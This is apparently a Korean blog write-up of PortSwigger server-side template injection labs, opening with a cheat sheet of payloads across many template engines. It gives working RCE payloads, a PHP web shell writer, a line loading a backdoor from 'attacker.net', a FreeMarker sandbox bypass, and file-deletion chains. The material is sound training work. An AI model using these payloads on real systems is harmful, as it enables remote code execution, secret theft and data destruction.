Public/Portswigger Lab

Portswigger Lab: SSTI(2)

haru0909 2025. 2. 1. 15:57

정말 오랜만에 또 portswigger로 돌아왔다. 그동안 oswe 준비하느라 좀 바빴다.🤫

오늘은 portswigger lab으로 시간을 보내려고 한다. 가자!  


SSTI Cheatsheet

 

--------------------------------------------------------------------

Polyglot:
${{<%[%'"}}%\
--------------------------------------------------------------------

FreeMarker (Java):
${7*7} = 49
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
--------------------------------------------------------------------
(Java):
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
--------------------------------------------------------------------
Twig (PHP):
{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
--------------------------------------------------------------------
Smarty (PHP):
{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
--------------------------------------------------------------------

Handlebars (NodeJS):
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
--------------------------------------------------------------------

Velocity:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
-------------------------------------------------------------------
ERB (Ruby):
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
--------------------------------------------------------------------
Django Tricks (Python):
{% debug %}
{{settings.SECRET_KEY}}
--------------------------------------------------------------------
Tornado (Python):
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
--------------------------------------------------------------------
Mojolicious (Perl):
<%= perl code %>
<% perl code %>
--------------------------------------------------------------------

Flask/Jinja2: Identify:
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
--------------------------------------------------------------------

Flask/Jinja2:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
--------------------------------------------------------------------
Jade:
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
--------------------------------------------------------------------
Razor (.Net):
@(1+2)
@{// C# code}
--------------------------------------------------------------------

 


미스테리 랩 챌린지라는 게 있더라. 취약점 토픽을 직접 지정할 수 있다.

이걸로 다시 ssti를 지정하고 challenge me 클릭. 

 

1. SSTI / handlebars

 

들어가면 여느 때와 다름없는 모습의 웹페이지가 나타난다.

 

1번 상품을 클릭하면 재고가 없다는 문구가 나타나는데, 해당 부분에 테스트 템플릿 구문을 넣어주면 에러가 나타난다.

에러 내용에서 'handlebars' 라는 템플릿 엔진을 사용하는 것을 확인할 수 있다.

 

목표는 동일하게 morale.txt를 삭제하는 것이기 때문에 지체하지 않고 바로 진행한다.

{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}

 

여러 특수문자가 포함되어 있기 때문에 url encoding도 진행해준다.

 

message param에 구문을 넣어주면 Solved!가 뜬다.

 


2. SSTI / Django

 

 

 

content-manager:C0nt3ntM4n4g3r 자격증명을 이용해 로그인 후, 상품에 들어가면 상품 정보를 edit 할 수 있다.

 

해당 부분에 ssti 테스트 구문을 입력한다. {{7*7}}

그럼 아래와 같이 error를 뱉어내어 템플릿 엔진을 식별할 수 있다.

 

 

페이로드 방식({{ }})은 맞으나 장고는 수식에서는 에러를 일으킨다는 것을 확인했다.

 

 

템플릿 엔진(이 경우 Django)에 대한 매뉴얼 문서를 확인 후 디버그 출력을 확인했다.

출력에는 이 템플릿 내에서 액세스할 수 있는 개체 및 속성 목록이 포함된다.

 

 

'settings' 객체를 통해 비밀 키를 확인할 수 있었다.

 

 


3. SSTI / Freemarker (CVE-2021–25770 bypass)

랩: 샌드박스 환경에서의 서버 측 템플릿 주입

 

 

content-manager:C0nt3ntM4n4g3r 자격증명을 이용해 로그인 후, 상품에 들어가면 상품 정보를 edit 할 수 있다.

 

 

아래 명령어를 전송하자 보안상의 이유로 Execute가 허용되지 않는다는 에러를 발생시킨다.

<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /home/carlos/my_password.txt") }

 

 

 

 

먼저 우회를 위해 Freemarker의 버전을 확인했다. 2.3.29

<#assign freemarkerVersion = .version>
FreeMarker version: ${freemarkerVersion}

 

 

2.3.30 아래 버전은 SSTI 취약점(CVE-2021–25770)이 발견되어 보고된 후 템플릿 엔진에 샌드박스 환경을 도입했다.

(CVE-2021-25770: Kubernetes에서 발생한 FreeMarker SSTI(Server-Side Template Injection) 취약점)

FreeMarker 샌드박스는 템플릿 엔진 내 보안 기능으로 템플릿에서 특정 위험한 클래스(Runtime, Execute)에 대한 접근을 제한하여 RCE를 방지한다. 

 

하지만 DefaultObjectWrapper를 사용할 경우, 공격자가 샌드박스에서 차단된 객체를 우회하여 접근 가능하다.

DefaultObjectWrapper는 ObjectWrapper의 구현체이다.

ObjectWrapper는 FreeMarker 템플릿 엔진에서 Java 객체를 템플릿 내에서 사용할 수 있도록 변환하는 역할을 한다.

ObjectWrapper 자체는 추상 메서드(wrap())만 포함하고, 구체적인 구현체(DefaultObjectWrapper, SimpleObjectWrapper 등)에 따라 보안 수준이 결정된다.

이 중 'DefaultObjectWrapper'는 템플릿에서 Java 객체(ObjectWrapper)에 직접 접근이 가능하기 때문에, 

공격자가 ObjectWrapper를 통해 Java 내부 클래스를 찾아 Execute 또는 Runtime.exec() 호출하면 샌드박스 환경이 무력화되며 RCE 실행 가능해진다.

 

샌드박스 우회를 위해 item.class.protectionDomain.classLoader의 값을 변수 classloader에 할당한다.

<#assign classloader=article.class.protectionDomain.classLoader>

 

 

classloader객체의 loadClass 메서드를 사용하여 사용하고자 하는 클래스를 로드할 수 있다.

freemarker.template.ObjectWrapper 클래스를 로드한다.

< #assign owc=classloader.loadClass( "freemarker.template.ObjectWrapper" )>

 

 

DEFAULT_WRAPPER 객체를 가져온다.

DEFAULT_WRAPPER: DefaultObjectWrapper의 인스턴스를 저장하는 정적(static) 필드

.get(null): 객체가 없어도 필드 값을 가져올 수 있음

<#assign defaultWrapper=objWrapper.getField("DEFAULT_WRAPPER").get(null)>

 

 

Execute 클래스를 로드한다.

<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

 

 

Execute 객체를 생성하고 명령어 실행한다.

${dwf.newInstance(ec,null)("cat /home/carlos/my_password.txt")}

 

 

전체 명령어는 아래와 같다.

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cat /home/carlos/my_password.txt")}

 

 

하지만 이 아이는 그렇게 쉽게 물러나지 않았다. 일반적인 방법으로는 불가능한가보다.

 

 

 

FreeMarker에서 사용할 수 있는 변수를 출력하여 article이 있는지 확인했다. 

<#list .data_model?keys as key>
    ${key}
</#list>

 

 

그는 product만 아는 멍청이다.

 

 

article 객체가 FreeMarker의 데이터 모델에서 정의되지 않았기 때문에 product 먼저 살펴봐야겠다.

아래 명령어를 통해 product 객체의 속성을 탐색한다.

<#list product?keys as key>
    ${key}
</#list>

 

 

getClass getName getStock getPrice price hashCode equals name toString stock class

class와 getClass 속성이 있기 때문에, product로 loadClass가 가능할 것으로 보인다.

 

코드를 다시 수정했다. article -> product로 바꿔주기만 하면 된다.

<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cat /home/carlos/my_password.txt")}

 

 

gotcha! 재밌다

 


4. SSTI / Twig

 

 

랩에 접속하면 블로그 사이트가 하나 뜬다.

 

 

 

wiener:peter 자격증명으로 로그인 후 /my-account에 접속하면 사용자 정보를 변경할 수 있다.

Preferred name을 Name -> Nickname으로 변경한다.

 

 

그럼 아래와 같은 post 요청을 보내는데, blog-post-author-display의 값을 user.name -> {{3*3}}으로 변경시켰다.

 

 

 

블로그 포스트에 들어가 댓글을 남긴 후 닉네임을 확인하려고 했으나 에러가 발생한다.

에러를 통해 Twig 엔진을 사용하는 것을 확인할 수 있다.

 

 

{{['id']|filter('system')}}로 아이디를 바꿔보았다.

 

 

동일한 에러가 발생하는 것을 확인했다. 아무래도 구문 앞을 먼저 닫아줘야 할듯 하다.

 

 

0}}{{3*3 으로 변경 후 다시 닉네임을 확인하니 연산이 실행된 것을 알 수 있었다.

 

 

 

그 이후 목표인 /home/carlos/.ssh/id_rsa를 지우기 위해 별별 명령을 다 찾아 써봤지만, 

constant()를 제외한 system(), exec(), shell_exec(), proc_open(), call_user_func(), get_defined_functions(), ReflectionFunction, attribute(), ini_set(), ini_get(), assert(), preg_replace(), FFI, unlink(), file_get_contents(), compact(), include('file://...'), rename(), SplFileObject, touch() 가 모두 허용되지 않았다.. OTL

그리고 constant()로도 지우는 것을 실패했다..

 

가능한 함수를 찾기 위해 다른 기능을 다시 살펴봐야 했다.

이미지 업로드 기능에서 아무 파일이나 업로드를 하면 에러가 발생하는데, 에러에서 setAvatar()라는 함수를 사용하는 것을 확인할 수 있다. 

 

0}}{{user.setAvatar('/etc/passwd','image/jpg')를 전송하고 댓글창에 다시 들어가서 아바타를 확인한다.

드디어 성공했다.

 

목적은 home/carlos/.ssh/id_rsa을 삭제하는 것이다. 당연하지만 rm을 추가하는 것으로는 성공하지 못했다. 

/home/carlos/User.php를 먼저 확인해본다.

0}}{{user.setAvatar('/home/carlos/User.php','image/jpg')

 

//User.php

<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }

    public function delete() {
        $file = $this->user_dir . "/disabled";
        if (file_put_contents($file, "") === false) {
            throw new Exception("Could not write to " . $file);
        }
    }

    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>

 

 

User.php 코드에서 gdprDelete() 함수를 보면, avatarLink를 삭제하는 것을 볼 수 있다.

 

 

avatarLink는 setAvatar()에서 설정된다.

setAvatar()는 먼저 마임타입 확인 후, 기존 프로필 이미지가 심볼릭 링크인지 확인한다. 만약 심볼릭 링크라면 삭제한다.

(is_link() 함수는 PHP 내장 함수로 특정 파일이 심볼릭 링크인지 확인하는 역할을 한다.)

그리고 $filename를 $this->avatarLink에 대한 심볼릭 링크로 만든다.

public function setAvatar($filename, $mimetype) {
    if (strpos($mimetype, "image/") !== 0) {
        throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
    }

    if (is_link($this->avatarLink)) {
        $this->rm($this->avatarLink);
    }

    if (!symlink($filename, $this->avatarLink)) {
        throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
    }
}

 

 

따라서, setAvatar()에서 먼저 삭제할 파일을 정의해준 후, gdprDelete()를 실행해야 한다.

0}}{{user.setAvatar('/home/carlos/.ssh/id_rsa','image/png')

 

 

댓글 창을 새로고침하여 파일이 정상적으로 링크되었는지 확인한다.

 

 

이제 user.gdprDelete()를 넣어준다.

blog-post-author-display=0}}{{user.gdprDelete()&csrf=22QReAfNvusd1ingRwOa9q5QbfKktrX9

 

 

SSTI 토픽 전부 끝~